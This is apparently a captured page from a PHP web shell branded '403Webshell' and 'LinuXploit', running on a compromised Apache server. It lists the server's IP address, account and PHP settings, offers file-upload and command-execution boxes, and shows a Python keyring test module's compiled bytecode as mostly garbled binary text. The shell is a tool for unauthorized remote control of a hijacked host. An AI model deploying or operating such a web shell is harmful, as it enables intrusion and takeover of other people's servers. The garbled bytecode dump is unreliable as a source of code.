403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/keyring/testing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/keyring/testing/__pycache__/backend.cpython-311.pyc
�

%�c����dZddlZddlZddlZddlmZddlmZdZe	d�eD����dksJ�d	�Z
Gd
�d��ZdS)z)
Common test functionality for backends.
�N�)�
random_string)�errorsuHזהכיףסתםלשמועאיךתנצחקרפדעץטובבגןξεσκεπάζωτηνψυχοφθόραβδελυγμίαСъешьжеещёэтихмягкихфранцузскихбулокдавыпейчаюЖълтатадюлябешещастливачепухъткойтоцъфназамръзнакатогьонc#�4K�|]}t|��V��dS�N��ord)�.0�chars  �9/usr/lib/python3/dist-packages/keyring/testing/backend.py�	<genexpr>r
s(����
/�
/��3�t�9�9�
/�
/�
/�
/�
/�
/��c�4�td�|D����S)Nc3�PK�|]!}dt|��cxkodkncV��"dS)� rNr)r
�cs  rr
z%is_ascii_printable.<locals>.<genexpr>sD����-�-�a�r�S��V�V�!�!�!�!�c�!�!�!�!�-�-�-�-�-�-r)�all)�ss r�is_ascii_printablers���-�-�1�-�-�-�-�-�-rc��eZdZdZejejzZej	d���d���Z
d�Zd�Zd�Z
d�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�ZdS)�BackendBasicTestszETest for the keyring's basic functions. password_set and password_getT)�autousec��|���|_t��|_|�|j��dSr)�init_keyring�keyring�set�credentials_created�addfinalizer�cleanup)�self�requests  r�_init_propertiesz"BackendBasicTests._init_properties&s=���(�(�*�*���#&�5�5�� ����T�\�*�*�*�*�*rc�8�|jD]}|jj|��dSr)rr�delete_password)r!�items  rr zBackendBasicTests.cleanup,s3���,�	0�	0�D�(�D�L�(�$�/�/�/�	0�	0rc�v�|j�|||��|j�||f��dSr)r�set_passwordr�add)r!�service�username�passwords    rr(zBackendBasicTests.set_password0s@��	
��!�!�'�8�X�>�>�>�� �$�$�g�x�%8�9�9�9�9�9rc��|j}|�||���J�|�|||��|�||��|ksJ�|�||d��|�||��dksJ�dS)N�)r�get_passwordr()r!r*r+r,rs     r�
check_set_getzBackendBasicTests.check_set_get6s����,���#�#�G�X�6�6�>�>�>�	
���'�8�X�6�6�6��#�#�G�X�6�6�(�B�B�B�B�	
���'�8�R�0�0�0��#�#�G�X�6�6�"�<�<�<�<�<�<rc��td��}td��}td��}|�|||��dS�N�)rr0�r!r,r+r*s    r�test_password_set_getz'BackendBasicTests.test_password_set_getDsG�� ��$�$�� ��$�$����#�#�����7�H�h�7�7�7�7�7rc��td|j��}td|j��}td|j��}|�|||��dSr2)r�DIFFICULT_CHARSr0r4s    r�test_difficult_charsz&BackendBasicTests.test_difficult_charsJsV�� ��T�%9�:�:�� ��T�%9�:�:����D�$8�9�9�����7�H�h�7�7�7�7�7rc�,�td|j��}td|j��}td|j��}|j�|||��|j�||��|j�||���J�dSr2�rr7rr(r%r/r4s    r�test_delete_presentz%BackendBasicTests.test_delete_presentPs��� ��T�%9�:�:�� ��T�%9�:�:����D�$8�9�9����!�!�'�8�X�>�>�>���$�$�W�h�7�7�7��|�(�(��(�;�;�C�C�C�C�Crc��td|j��}td|j��}tjtj��5|j�||��ddd��dS#1swxYwYdSr2)rr7�pytest�raisesr�PasswordDeleteErrorrr%)r!r+r*s   r�test_delete_not_presentz)BackendBasicTests.test_delete_not_presentXs��� ��T�%9�:�:����D�$8�9�9��
�]�6�5�
6�
6�	<�	<��L�(�(��(�;�;�;�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<����	<�	<�	<�	<�	<�	<s�	A2�2A6�9A6c��td|j��}td|j��}td|j��}td|j��}|j�|||��|�|||��|j�||��|j�||��|ksJ�dSr2r:)r!�	username1�	username2r,r*s     r�test_delete_one_in_groupz*BackendBasicTests.test_delete_one_in_group^s���!�"�d�&:�;�;�	�!�"�d�&:�;�;�	� ��T�%9�:�:����D�$8�9�9����!�!�'�9�h�?�?�?����'�9�h�7�7�7���$�$�W�i�8�8�8��|�(�(��)�<�<��H�H�H�H�H�Hrc�<�t|jj��sJ�dSr)rr�name)r!s r�test_name_propertyz$BackendBasicTests.test_name_propertyhs!��!�$�,�"3�4�4�4�4�4�4�4rc��tdt��}tdt��}tdt��}|�|||��dSr2)r�
UNICODE_CHARSr0r4s    r�test_unicode_charsz$BackendBasicTests.test_unicode_charsksM�� ��]�3�3�� ��]�3�3����M�2�2�����7�H�h�7�7�7�7�7rc�
�tdt��td��ztd|j��z}td|��}td|��}td|��}|�|||��dS)N�
r3)rrIr7r0)r!�sourcer,r+r*s     r�test_unicode_and_ascii_charsz.BackendBasicTests.test_unicode_and_ascii_charsqs����"�m�,�,��B���
 ��B�� 4�5�5�
6�	�
!��V�,�,�� ��V�,�,����F�+�+�����7�H�h�7�7�7�7�7rc�F�|j}|�ddd��|�ddd��|�dd��dksJ�|�dd��dksJ�|�ddd��|�dd��dksJ�d	S)
z�
        Issue #47 reports that WinVault isn't storing passwords for
        multiple users. This test exercises that test for each of the
        backends.
        �service1�user1�	password1�user2�	password2�service2�user3�	password3N)rr(r/)r!rs  r�test_different_userz%BackendBasicTests.test_different_user|s����,�����*�g�{�;�;�;����*�g�{�;�;�;��#�#�J��8�8�K�G�G�G�G��#�#�J��8�8�K�G�G�G�G����*�g�{�;�;�;��#�#�J��8�8�K�G�G�G�G�G�Grc�P�|j}|�dd��}|�J�|�ddd��|�ddd��|�dd��}|�|j|jfdvsJ�|�dd��}|�J�|j|jfdvsJ�dS)Nr*rPrQrRrSrT))rQrR)rSrT)r�get_credentialr(r+r,)r!r�creds   r�test_credentialz!BackendBasicTests.test_credential�s����,���%�%�i��6�6���|�|�|����*�g�{�;�;�;����*�g�{�;�;�;��%�%�j�$�7�7���|��
�t�}�=�B
� 
� 
� 
� 
�
�%�%�j�'�:�:�������
�t�}�-�2
�
�
�
�
�
�
rc��tdd���}|�td|��|j���|jjdksJ�dS)Nz	fizz buzzz	ignore me)�KEYRING_PROPERTY_FOO_BAR�
OTHER_SETTING�environ)�dict�setattr�osr�set_properties_from_env�foo_bar)r!�monkeypatch�envs   r�test_set_propertiesz%BackendBasicTests.test_set_properties�s\���K�{�S�S�S�����B�	�3�/�/�/���,�,�.�.�.��|�#�{�2�2�2�2�2�2rc���|j�d���}||jusJ�|jdksJ�tjt
��5|jjddd��dS#1swxYwYdS)N�bar)�foo)r�with_propertiesrkr=r>�AttributeError)r!�alts  r�test_new_with_propertiesz*BackendBasicTests.test_new_with_properties�s����l�*�*�u�*�5�5���$�,�&�&�&�&��w�%�����
�]�>�
*�
*�	�	��L���	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	s�

A'�'A+�.A+N)�__name__�
__module__�__qualname__�__doc__�string�
whitespace�punctuationr7r=�fixturer#r r(r0r5r8r;r@rDrGrJrNrXr\rhro�rrrr!s=������O�O��'�&�*<�<�O��V�^�D�!�!�!�+�+�"�!�+�
0�0�0�:�:�:�=�=�=�8�8�8�8�8�8�D�D�D�<�<�<�I�I�I�5�5�5�8�8�8�	8�	8�	8�
H�
H�
H�
�
�
�,3�3�3�����rr)rsrcrtr=�utilrrrrI�minrrrxrr�<module>r{s�����
�	�	�	�
�
�
�
�
�
�
�
�������������w���s�
/�
/��
/�
/�
/�/�/�#�5�5�5�5�.�.�.�K�K�K�K�K�K�K�K�K�Kr

Youez - 2016 - github.com/yon3zu
LinuXploit